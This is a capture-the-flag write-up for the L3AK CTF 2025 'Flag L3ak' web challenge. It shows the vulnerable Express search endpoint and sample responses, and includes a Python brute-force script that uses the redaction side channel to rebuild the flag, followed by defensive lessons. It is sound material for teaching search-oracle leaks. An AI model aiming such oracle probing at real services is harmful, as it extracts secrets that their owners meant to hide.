Challenge Overview
- CTF: L3AK CTF 2025
- Challenge: Flag L3ak
- Category: Web Exploitation
- Points: 50 (698 solves)
- Description:
What’s the name of this CTF? Yk what to do π
- Author: p._.k
Challenge source (will update this when the ctf ends for reproducibility)
TL;DR
The application is vulnerable to a side-channel attack known as XS-Search, a subclass of XS-Leaks. By observing differences in server responses based on 3-character search queries, we reconstructed the flag one character at a time.
The leak occurs due to redacted content masking the real flag but not filtering it out entirely, allowing us to detect its presence via a simple YES/NO oracle.
Initial Analysis
At first glance, this is a simple blog-style website. You can search blog posts, and if a post matches your query, it shows up.
While testing the search, a suspicious post titled Real flag fr
with a decoy flag (L3AK{Bad_bl0g?}
) shows up.
It’s obviously a decoy and I was met with “Flag incorrect” on CTFd.
More interestingly though, another post contains redacted content - a string of asterisks (*). This might hint that our query matches the real flag but the characters are hidden.
Let’s confirm that by reading the source.
Project structure
.
βββ Dockerfile
βββ index.js
βββ package.json
βββ package-lock.json
βββ public
βββ index.html
2 directories, 5 files
Key Code: index.js
const FLAG = 'L3AK{t3mp_flag!!}';
...
app.post('/api/search', (req, res) => {
const { query } = req.body;
if (!query || typeof query !== 'string' || query.length !== 3) {
return res.status(400).json({ error: 'Query must be 3 characters.' });
}
const matchingPosts = posts
.filter(post =>
post.title.includes(query) ||
post.content.includes(query) ||
post.author.includes(query)
)
.map(post => ({
...post,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
}));
res.json({
results: matchingPosts,
count: matchingPosts.length,
query
});
});
We observe the following:
- Search is restricted to 3-character queries.
- Matching happens on full content, but redaction (*) happens after the match.
- The flag is still matched, just hidden on display, just like this:
.map(post => ({
...post,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
}));
This means we canβt see the flag, but we can detect its presence. Let’s check the challenge description again: what’s the name of the CTF, leak it is. Mhmmm~
Task Analysis
The discrepancy between redacted (but matched) content and completely absent content gives us an oracle:
βIs this 3-character substring part of the real flag?β
By sliding a 3-character window across a partially guessed flag prefix (L3AK{), we can confirm or reject each new character.
This is a classic XS-Leak, where the attacker observes side-channel differences (not the actual data) to reconstruct a secret.
XS-Leaks Overview
Cross-Site Leaks (XS-Leaks) are vulnerabilities where attackers infer private information by observing application behavior (response times, redirects, error codes, or even content shapes) without ever accessing the data directly.
In our case, the oracle is binary:
- If a redacted string appears (********), the queried 3-char substring is part of the flag.
- If the result is empty, itβs not.
XS-Search (Our Case)
This specific subclass of XS-Leaks is known as XS-Search.
Web applications often support search endpoints, and if those endpoints leak differences in behavior for private vs. public data, attackers can extract secrets via controlled probing.
In our case, the shape of the JSON response reveals whether a 3-character probe is valid:
Response when match is found (includes redacted flag):
{
"results": [
{
"id": 3,
"title": "Not the flag?",
"content": "Well luckily the content of the flag is hidden so here it is: ************************",
"author": "admin",
"date": "2025-05-13"
},
{
"id": 4,
"title": "Real flag fr",
"content": "Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}",
"author": "L3ak Member",
"date": "2025-06-13"
}
],
"count": 2,
"query": "L3A"
}
Response when no match:
{"results":[],"count":0,"query":"K{X"}
There is also a decoy flag (in
post.id == 4
) that is not redacted. To avoid false positives, we only treat hits containing * as real.
Exploitation
Armed with our oracle, we brute-force the flag as follows:
- Establish a baseline of the response content where a hit occurs (’*’ in the json)
- brute-force the first charcter after
known
(query = L3AK{a) - If the response is a hit, then add one more character (?q=L3AK{aa); otherwise try a new one (?q=L3AK{b).
- In the end, a full flag (?q=L3AK{flag_here}) can be leaked.
Like this:
#!/usr/bin/env python3
import string
import requests
URL = 'http://34.134.162.213:17000/api/search'
alphabet = string.printable.strip()
known = 'L3AK{'
print(f"[+] Starting brute-force with prefix: {known}")
while not known.endswith('}'):
found = False
for c in alphabet:
probe = (known + c)[-3:]
r = requests.post(URL, json={"query": probe})
data = r.json()
# Filter out decoy match (like post id 4) by checking for masked content
for post in data.get('results', []):
if '*' in post['content']:
print(f"[+] Match found via mask for '{probe}' β adding '{c}' to flag")
known += c
found = True
break
if found:
break
if not found:
print("[-] No matching character found: maybe charset is wrong or flag ended.")
break
print(f"\nβ
Final reconstructed flag: {known}")
Flag is: L3AK{L3ak1ng_th3_Fl4g??}
Conclusions
- Redacting sensitive data without removing it from search logic introduces oracles.
- Even seemingly harmless APIs (like search) can leak secrets via side-channels.
- XS-Leaks can be exploited without authentication or special privileges.
- Always apply redaction before matching, or remove sensitive data from queries entirely.
- Validating response shape consistency is crucial when designing secure APIs.
References
- xsleaks.dev: The canonical guide to XS-Leaks and browser side-channels.
- XS-Search (xsleaks.dev): Specific pattern used in this challenge.
- string.printable β Python Docs: Charset used in the brute-force script.